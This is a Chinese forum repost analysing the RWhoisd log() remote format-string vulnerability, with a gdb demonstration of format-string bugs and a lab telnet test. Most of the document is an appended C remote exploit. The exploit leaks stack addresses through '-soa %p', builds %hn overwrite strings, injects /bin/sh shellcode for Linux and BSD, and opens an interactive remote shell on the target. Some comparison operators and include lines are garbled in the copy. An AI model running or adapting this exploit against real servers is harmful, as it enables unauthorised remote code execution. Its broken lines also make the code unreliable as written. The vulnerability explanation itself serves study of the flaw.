免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1065 | 回复: 0
打印 上一主题 下一主题

RWhoisd log()函数远程格式化字符串漏洞原理分析 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-05-06 17:43 |只看该作者 |倒序浏览
RWhoisd log()函数远程格式化字符串漏洞原理分析
--缓冲区溢出攻击攻击
tomqq 3/21/2006
1. 漏洞概况
    这个漏洞最初由现在的安焦(
www.xfocus.org
)高手ALERT7(当时是
www.netguard.com.cn
)在2001年11月发现的,Bugtraq ID:  3474。
    RWhoisd所有版本(包括最新的rwhoisd-1.5.7-2)存在一个潜在的远程格式化字符串问题。攻击者能够利用这个漏洞执行任意代码。在rwhoisd 1.7之前的所有版本中,log()函数中存在如下调用syslog(syslog_level,message);而这里的message又是可以由用户控制的。所以将产生格式化串问题。
    我们也可以用格式化串溢出检查工具pscan来对rwhoisd源码进行扫描,一样可以发现这个漏洞。Pscan本人已经附在在"规则研究"的"攻击工具"内。

2. 详细攻击原理
2.1 什么是RWHOIS

   首先还是介绍一下什么是RWHOISD。RWHOISD是
http://www.rwhois.net
的一个服务器软件产品,这个东西是作甚么用的呢?看下面的简介:
    在早期的Internet发展过程中,SRI-NIC建立了一个集中式的数据库系统――Whois,用于提供各网络的主机,网络以及用户的邮件地址等信息。Whois服务的基本功能是在数据中心提供网络的各种资源信息,随着Internet的飞速发展,Whois服务的集中式结构也已经越来越不能适应需要。Rwhois服务改变了这一种状况,它提供了一种结构化、分布式、可扩展的方式,强调网络数据的分布特性,利用各种网络数据内在的结构化特征(如域名、IP地址以及用户E-mail等),来提供更精确的网络数据服务。
    Rwhois网络服务综合了一些已经标准化的网络服务的特征:其协议结构来源于网络域名系统,目录服务的概念来源于X.500,同时,Rwhois也受到了一些其它网络服务的概念与结构的影响,如SMTP(RFC821)。
标准的Rwhois协议同时定义了目录访问的协议以及数据目录的结构。目录访问协议定义了Rwhois客户与服务器之间交互的语法,它描述了一个Rwhois客户程序如何查询服务器的数据信息,或者如何修改服务器上目录数据,以及服务器与客户程序之间如何能够互相理解彼此之间的输出信息。标准协议定义的数据目录结构描述了网络数据在服务器上的存放方式,以及服务器之间的结构、层次关系。
更详细的介绍,见"规则研究"->"参考资料"中的"Rwhois-一种简单的目录服务协议.htm"一文。

2.2 什么是字符串格式化漏洞
    这种攻击在2000年后逐渐被披露和研究,复习了一下漏洞原理,下面先用一个例子来展示一下:
在Linux 7。3虚拟机上,写一个漏洞程序:


[root@localhost code]# gcc -g 1.c
111[root@localhost code]# ./a.out tomqq
tomqq[root@localhost code]#

    可见,这个程序的作用就是打印用户的输入,看起来没有问题。可是我们仔细观察,发现printf这个函数,没有用格式化字符"%s"等来限制输入,那么随便用户输入什么,都会传入printf这个函数执行,这就容易出问题。
换个输入哈,看看。
[root@localhost code]# ./a.out tomqq%p%p%p%p
tomqq0x400130200xbffffb380x80483e10x8049498[root@localhost code]#
tomqq串后,打印了一串地址一样的东西,启动gdb进行断点调试。
[root@localhost code]# gdb a.out
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) set args "123456%p%p%p"
(gdb) disas main
Dump of assembler code for function main:
0x8048400 :       push   %ebp
0x8048401 :     mov    %esp,%ebp
0x8048403 :     sub    $0x8,%esp
0x8048406 :     sub    $0xc,%esp
0x8048409 :     mov    0xc(%ebp),%eax
0x804840c :    add    $0x4,%eax
0x804840f :    pushl  (%eax)
0x8048411 :    call   0x80482f0
0x8048416 :    add    $0x10,%esp
0x8048419 :    mov    $0x0,%eax
0x804841e :    leave
0x804841f :    ret
End of assembler dump.
(gdb) b *0x8048411
Breakpoint 1 at 0x8048411: file 1.c, line 2.
(gdb) r
Starting program: /home/hek/code/a.out "123456%p%p%p"
Breakpoint 1, 0x08048411 in main (argc=2, argv=0xbffffb94) at 1.c:2
2               printf(argv[1]);
(gdb) x/20x $esp
0xbffffb10:     0xbffffc99      0x40013020      0xbffffb38      0x080483e1
0xbffffb20:     0x08049498      0x08049594      0xbffffb68      0x42017499
0xbffffb30:     0x00000002      0xbffffb94      0xbffffba0      0x080482ae
0xbffffb40:     0x08048460      0x00000000      0xbffffb68      0x42017482
0xbffffb50:     0x00000000      0xbffffba0      0x4212e5bc      0x400134c0
(gdb) c
Continuing.
1234560x400130200xbffffb380x80483e1
Program exited normally.
(gdb)
    可见,这个问题出在了printf函数身上。在格式化字符串后面没有跟相应的变量的时候,printf继续打印$esp之上内存中的每个内容。多加几个%p,可以继续打印高位栈内存的东西。说明这个漏洞可以实现窥探内存。关于printf的原型,在glibc源码中可以找到原型。
    如果是%n,那么可以实现更改制定某一栈帧的内容。具体例子网上很多,这里不在赘述。那么,结合%p和%n,就可以实现更改某个进程的运行流程,这就是"格式化字符串漏洞"的原理。
一般引起这个问题的函数主要是:
fprintf  printf  sprintf snprintf vfprintf vprintf vsprintf vsnprintf

3. 攻击过程的实例分析
    首先在虚拟机上装一个有问题的rwhoisd服务器,RWHOISD rwhoisd-1.5.7.tar.gz,启动为守护进程,测试一下问题是否真的存在。
C:\Documents and Settings\Administrator>telnet 192.168.2.224 4321
使用命令-soa asdas%p%p%p%p%p,输入后,果然能够打印堆栈内的东西。如图:

4.影响系统
Network Solutions rwhoisd 1.5.7 .1
Network Solutions rwhoisd 1.5.7
Network Solutions rwhoisd 1.5.6
Network Solutions rwhoisd 1.5.5
Network Solutions rwhoisd 1.5.3
Network Solutions rwhoisd 1.5.2
Network Solutions rwhoisd 1.5.1 a
Network Solutions rwhoisd 1.5
附:攻击程序
/*
       17.4.2001
       Remote Exploit for versions of
       RWhoisd ... (by Network Solutions, Inc. V-1.5.x)
      
       this code exploits a bug in the '-soa' directive
       that calls print_error() with a user supplied
       format string.
       credit to rob who found the h0le
       and mad thanks to all the people who helped me
       test this code.
       these versions are vulnerable on all platforms
       not only the ones available here.
       you better try more than once , for some reason
       if sometimes fails on first attempts.
       THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY
      
       have phun, CowPower.
      
*/
#include signal.h>
#include stdlib.h>
#include stdio.h>
#include sys/socket.h>
#include sys/types.h>
#include netinet/in.h>
#include netdb.h>
#define VERSION 2.0
#define MAX(x,y) ((x>y)?x:y)
#define PORT 4321
#define BUFF 251
#define LEN 1024
struct version {
        char *name;
    int ret;
        int ret1;
    int str;
};
struct version version[] = {
      { "Linux x86 (execpt Slack 8.x)",-185,-233,-5 } ,
      { "Linux x86 (Slackware 8.x)",56,-40,324 } ,
      { "FreeBSD (version ,-189,-237,-5 } ,
      { "OpenBSD, FreeBSD 4.x",56,-40,324 } ,
            0
};
/* modified shellcodes who contain no nasty control chars (
char *evilcode[] = {
"\x31\xc0\x31\xdb\x31\xc9\x43\x41\x41\xb0\x3f\xcd\x80"
"\xeb\x25\x5e\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43"
"\x2c\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh" ,
"same as linux shellcode" ,
"\x31\xc0\x2c\xfe\x50\xfe\xc8\x50\x50\x2c\xa7\xcd\x80"
"\xeb\x2a\x5e\x8d\x5e\xe0\x89\x73\x2b\x31\xd2\x89\x53\x27\x89\x53\x2f"
"\x89\x53\x34\x88\x53\x39\x31\xc0\xb0\x3b\x8d\x4b\x2b\x80\x6b\x38\x30"
"\x80\x6e\xfa\x30\x51\x51\x56\x50\xeb\x48\xe8\xd1\xff\xff\xff/bin/sh"
"xxxxxxxxxxxx" "\x9a" "xxxx" "\x37" "x" ,
  "same as freebsd shellcode" ,
  
} ;
char *shellcode;
unsigned long int ret,mem;
int ver;
void *err(char *);
void *intr(void);
void *timeout(void);
int ok(void);
char *answer(char *,char *,int,int);
char *makeadd(unsigned long int,int,char *);
char *makebuf(int,char *,int);
main(int argc, char **argv) {
   
        char sendln[LEN], recvln[LEN],*ptr;
        int i,sockfd, maxfd, bsize;
        struct sockaddr_in cli;
        struct hostent *hp;
        fd_set rset;
    fprintf(stderr,"RWhoisd remote exploit v%.1f by Moo0\n",VERSION);
     
     maxfd = (sizeof(version) / sizeof(version[0])) - 2;
         if (argc  3) {
        fprintf(stderr,"usage: %s  
                \ravailable support:\n",argv[0]);
        for (i=0;version.name;i++)
            fprintf(stderr,"(%d)\t%s\n",i,version.name);
            exit(-1);
   }
   
    for(i=0;argv[2];i++) if (!isdigit(argv[2]))
    err("version not available.\n");
ver = atoi(argv[2]);
      if (!(ver = maxfd)) err("version not available.\n");
   
signal(SIGINT,(void *)intr);
signal(SIGALRM,(void *)timeout);
evilcode[1] = evilcode[0];
evilcode[3] = evilcode[2];
shellcode = evilcode[ver];
   fprintf(stderr,"Target: %s\n\
Operating System: %s\n",argv[1],version[ver].name);
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0))  0){
                perror("Socket");
                exit(-1); }
        if((hp = gethostbyname(argv[1])) == NULL){
                printf("Error: %s\n", hstrerror(h_errno));
                exit(-1);
        }
      fputs("Connecting to RWhoisd....",stderr);
  
     bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(PORT);
        memcpy((char *)&cli.sin_addr, hp->h_addr_list[0], hp->h_length);
        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli))  0){
                perror("");
                exit(-1);
        }
  answer(0,recvln,sockfd,0);
   
     for (i=0;i8;i++) recvln = tolower(recvln);
       if(strncmp(recvln,"%rwhois",7))
     err("Connected,\nBut its not RWhoisd, Aborting.\n");
       fputs("Connected.\n",stderr);
      sleep(1);
       fputs("Building evil-string:\n",stderr);
   
       strcpy(sendln,"-soa %p\n");
        answer(sendln,recvln,sockfd,0);
     if (strcmp(recvln,"%error 340 Invalid Authority Area"))
       err("Cant read necessary data.\n");
else {
        answer(sendln,recvln,sockfd,1);
        ptr = (char *)strstr(recvln,"0x") ;
    if (!ptr) err("Data doesnt match verison given.\n");
   }
        mem = strtoul(ptr,(void *)0,16);
        ret = ((mem+version[ver].ret)&0xff)>0x20?(mem+version[ver].ret):
    (mem+version[ver].ret1);
        if (!ok()) err("Impossible Conditions, Aborting.\n");
        fprintf(stderr,"Assumed EIP Address: %#x\n",ret);
    answer(makebuf(BUFF,recvln,1),recvln,sockfd,1);
        ptr = (char *)strstr(recvln,"78787800") ;
      
       if(!ptr) err(0);
       bsize = BUFF - (strlen(ptr) / 4) ;
        mem += version[ver].str + bsize + 8 + (3*6) + (3*3);
       fprintf(stderr,"Assumed shellcode address: %#x\n",mem);
       maxfd = ( strlen(recvln) - strlen(ptr) + 6 ) & 0xff ;
       makebuf(bsize,sendln,0);
       makeadd(mem,maxfd,recvln);
       sendln[strlen(sendln)-1] = '\0';
       strcat(sendln,recvln);
     answer(sendln,recvln,sockfd,1);
     ptr = (char *)strstr(recvln,"xxx") ;
        if (!ptr) err(0);
      *((char *)strstr(ptr,"78787800")+8) = '\0';
     i = ((strlen(ptr)) & 0xff) - (mem & 0xff) ;
        makebuf(bsize,sendln,1); makeadd(mem,maxfd+i,recvln);
        sendln[strlen(sendln)-1] = '\0';
        strcat(sendln,recvln);
      fputs("Sending evil-string , Waiting for Response....",stderr);
     answer(sendln,recvln,sockfd,1);
       answer("echo -n \"oink\";\n",recvln,sockfd,0);
        if (strcmp(recvln,"oink")) {
         answer(0,recvln,sockfd,0);
             if (strcmp(recvln,"oink")) err(0); }
        fputs("Success!\n",stderr);
        strcpy(sendln,"uname -a;\n");
        write(sockfd,sendln,strlen(sendln));
        sleep(1);
        fputs(sendln,stderr);
      signal(SIGINT,SIG_IGN);
       bzero(sendln, LEN);
        FD_ZERO(&rset);
        for(;;){
                FD_SET(fileno(stdin), &rset);
                FD_SET(sockfd, &rset);
                maxfd = MAX(fileno(stdin), sockfd) + 1;
                select(maxfd, &rset, NULL, NULL, NULL);
                if(FD_ISSET(fileno(stdin), &rset)){
                        fgets(sendln, sizeof(sendln)-2, stdin);
                        write(sockfd, sendln, strlen(sendln));
            bzero(sendln, LEN);
               }
                if(FD_ISSET(sockfd, &rset)){
                        bzero(recvln, LEN);
                        if(
      (i = read(sockfd, recvln, sizeof(recvln)))== 0){
                     printf("hackerz.\n");
                                exit(0);
                        }
                        if(i  0){
                                perror("read");
                                exit(-1);
                        }
                        fputs(recvln, stdout);
                }
        }
}
char *makebuf(int len,char *buf,int real) {
    char *buff,*ptr;
        unsigned long addr;
    int i;
bzero(buff = malloc(len),len);
for (i = 0; i  len-1; i+=2) strcat(buff,"%x");
if (real) addr = ret;
else addr = (mem & 0xff)>0x20?mem:mem+33;
ptr = buff;
   *(ptr++) = (addr & 0xff) ;
   *(ptr++) = (addr & 0xff00) >> 8 ;
   *(ptr++) = (addr & 0xff0000) >> 16 ;
   *(ptr++) = (addr & 0xff000000) >> 24 ;
  
memcpy(ptr,"AAAA",4);
ptr += 4;
i = 3;
while (i--) {
   
   addr++;
   *(ptr++) = (addr & 0xff) ;
   *(ptr++) = (addr & 0xff00) >> 8 ;
   *(ptr++) = (addr & 0xff0000) >> 16 ;
   *(ptr++) = (addr & 0xff000000) >> 24 ;
}
sprintf(buf,"-soa xxx%s\n",buff);
free(buff);
return(buf);
  
}
char *makeadd(unsigned long int mem,int us,char *add) {
       char almog[400],sendln[100],*ptr;
      int maxfd,goal;
   
       goal = (mem & 0xff);
        maxfd = (goal - us)0?(goal+256-us):(goal-us);
        sprintf(add,"%%.%dx%s",maxfd+8,"%hn");
        us = goal+ 8;
        goal = (mem & 0xff00) >> 8 ;
      maxfd = (goal - us)0?(goal+256-us):(goal-us);
       sprintf(add,"%s%%.%dx%s",add,maxfd+8,"%hn");
       memset(almog,'\x90',300);
       almog[300] = '\0';
        
        us = goal ;
        goal = (mem & 0xff0000) >> 16 ;
       maxfd = (goal - us)0?(goal+256-us):(goal-us);
       sprintf(sendln,"%%s%%.%ds",maxfd);
if (ver > 1) {
       ptr = almog + (maxfd - strlen(shellcode));
      memcpy(ptr,shellcode,strlen(shellcode));
    }
      sprintf(add,sendln,add,almog);
      strcat(add,"%hn");
      us = goal ;
      goal = (mem & 0xff000000) >> 24 ;
    maxfd = (goal - us)0?(goal+256-us):(goal-us);
       sprintf(sendln,"%%s%%.%ds",maxfd);
if (ver = 1) {
      ptr = almog + (maxfd - strlen(shellcode));
      memcpy(ptr,shellcode,strlen(shellcode));
    }
     sprintf(add,sendln,add,almog);
        strcat(add,"%hn\n");
return(add);
}
char *answer(char *sendln,char *recvln,int sockfd,int extra) {
       alarm(15);
      if (sendln) write(sockfd,sendln,strlen(sendln));
      if (extra) read(sockfd,recvln,LEN) ;
        bzero(recvln, LEN);
        read(sockfd,recvln,LEN) ;
      alarm(0);
      return(recvln);
}
void *intr(void) {
fflush(stdout);
fputs("\nInterruption from keyboard...aborting.\n",stderr);
exit(-1);
}
void *timeout(void) {
fputs("Timeout!\n",stderr);
exit(-1);
}
int ok(void) {
if ( ((ret & 0xff) > 0x20)
     && (((ret & 0xff00) >> 8) > 0x20)
     && (((ret & 0xff0000) >> 16) > 0x20)
     && (((ret & 0xff000000) >> 24) > 0x20) ) return(1);
return(0);
}
void *err(char *msg) {
if (msg) fputs(msg,stderr);
else fputs("Failed.\n",stderr);
exit(-1);
}


本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/68043/showart_678024.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP